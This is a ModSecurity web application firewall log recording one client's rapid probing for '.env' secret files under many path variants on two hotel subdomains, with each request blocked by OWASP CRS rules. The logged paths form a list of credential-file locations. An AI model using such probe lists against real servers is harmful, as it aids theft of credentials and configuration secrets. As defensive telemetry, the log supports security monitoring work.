[Mon Oct 26 08:36:24.722941 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/API/.env"] [unique_id "at9JSE3DiqOFJPXX6P43tAAAABM"]
[Mon Oct 26 08:36:24.723987 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ADMIN/.env"] [unique_id "at9JSJ_dbg3ptBnwDgQ5LAAAAAM"]
[Mon Oct 26 08:36:24.724106 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ADMIN/.env"] [unique_id "at9JSJ_dbg3ptBnwDgQ5LAAAAAM"]
[Mon Oct 26 08:36:24.724330 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/ADMIN/.env"] [unique_id "at9JSJ_dbg3ptBnwDgQ5LAAAAAM"]
[Mon Oct 26 08:36:24.768486 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/API/.env"] [unique_id "at9JSHtuNRyqJbUWH7Jv_QAAAAQ"]
[Mon Oct 26 08:36:24.768652 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/API/.env"] [unique_id "at9JSHtuNRyqJbUWH7Jv_QAAAAQ"]
[Mon Oct 26 08:36:24.768956 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/API/.env"] [unique_id "at9JSHtuNRyqJbUWH7Jv_QAAAAQ"]
[Mon Oct 26 08:36:24.851531 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/APP/.env"] [unique_id "at9JSA9c_Zz9LocrxF9eugAAAAU"]
[Mon Oct 26 08:36:24.851751 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/APP/.env"] [unique_id "at9JSA9c_Zz9LocrxF9eugAAAAU"]
[Mon Oct 26 08:36:24.852235 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/APP/.env"] [unique_id "at9JSA9c_Zz9LocrxF9eugAAAAU"]
[Mon Oct 26 08:36:24.889294 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/BACK/.env"] [unique_id "at9JSBA_yAFS6UHz-l1VVAAAAA0"]
[Mon Oct 26 08:36:24.889490 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/BACK/.env"] [unique_id "at9JSBA_yAFS6UHz-l1VVAAAAA0"]
[Mon Oct 26 08:36:24.889810 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/BACK/.env"] [unique_id "at9JSBA_yAFS6UHz-l1VVAAAAA0"]
[Mon Oct 26 08:36:24.890881 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/Api/.env"] [unique_id "at9JSE3DiqOFJPXX6P43tgAAABM"]
[Mon Oct 26 08:36:24.891003 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/Api/.env"] [unique_id "at9JSE3DiqOFJPXX6P43tgAAABM"]
[Mon Oct 26 08:36:24.891210 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/Api/.env"] [unique_id "at9JSE3DiqOFJPXX6P43tgAAABM"]
[Mon Oct 26 08:36:24.898449 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/BACKEND/.env"] [unique_id "at9JSAsj78QLlrBrm-44-QAAAAc"]
[Mon Oct 26 08:36:24.898579 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/BACKEND/.env"] [unique_id "at9JSAsj78QLlrBrm-44-QAAAAc"]
[Mon Oct 26 08:36:24.898796 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/BACKEND/.env"] [unique_id "at9JSAsj78QLlrBrm-44-QAAAAc"]
[Mon Oct 26 08:36:24.907648 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/APP/.env"] [unique_id "at9JSHT09R7Np-FQ85dj6AAAAAo"]
[Mon Oct 26 08:36:24.907781 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/APP/.env"] [unique_id "at9JSHT09R7Np-FQ85dj6AAAAAo"]
[Mon Oct 26 08:36:24.908024 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/APP/.env"] [unique_id "at9JSHT09R7Np-FQ85dj6AAAAAo"]
[Mon Oct 26 08:36:24.960547 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/Api/.env"] [unique_id "at9JSHtuNRyqJbUWH7Jv_wAAAAQ"]
[Mon Oct 26 08:36:24.960724 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/Api/.env"] [unique_id "at9JSHtuNRyqJbUWH7Jv_wAAAAQ"]
[Mon Oct 26 08:36:24.961002 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/Api/.env"] [unique_id "at9JSHtuNRyqJbUWH7Jv_wAAAAQ"]
[Mon Oct 26 08:36:24.961716 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/BE/.env"] [unique_id "at9JSA9c_Zz9LocrxF9euwAAAAU"]
[Mon Oct 26 08:36:24.961830 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/BE/.env"] [unique_id "at9JSA9c_Zz9LocrxF9euwAAAAU"]
[Mon Oct 26 08:36:24.962059 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/BE/.env"] [unique_id "at9JSA9c_Zz9LocrxF9euwAAAAU"]
[Mon Oct 26 08:36:24.974568 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/Backend/.env"] [unique_id "at9JSE3DiqOFJPXX6P43twAAABM"]
[Mon Oct 26 08:36:24.974686 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/Backend/.env"] [unique_id "at9JSE3DiqOFJPXX6P43twAAABM"]
[Mon Oct 26 08:36:24.974905 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/Backend/.env"] [unique_id "at9JSE3DiqOFJPXX6P43twAAABM"]
[Mon Oct 26 08:36:24.975668 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/BACK/.env"] [unique_id "at9JSHhYESb98d-GXViKrQAAAAs"]
[Mon Oct 26 08:36:24.975853 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/BACK/.env"] [unique_id "at9JSHhYESb98d-GXViKrQAAAAs"]
[Mon Oct 26 08:36:24.976062 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/BACK/.env"] [unique_id "at9JSHhYESb98d-GXViKrQAAAAs"]
[Mon Oct 26 08:36:24.976758 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/BACKEND/.env"] [unique_id "at9JSJ_dbg3ptBnwDgQ5LwAAAAM"]
[Mon Oct 26 08:36:24.978235 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/BACKEND/.env"] [unique_id "at9JSJ_dbg3ptBnwDgQ5LwAAAAM"]
[Mon Oct 26 08:36:24.978482 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/BACKEND/.env"] [unique_id "at9JSJ_dbg3ptBnwDgQ5LwAAAAM"]
[Mon Oct 26 08:36:25.063955 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /be/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/Be/.env"] [unique_id "at9JSQsj78QLlrBrm-44-gAAAAc"]
[Mon Oct 26 08:36:25.064158 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/Be/.env"] [unique_id "at9JSQsj78QLlrBrm-44-gAAAAc"]
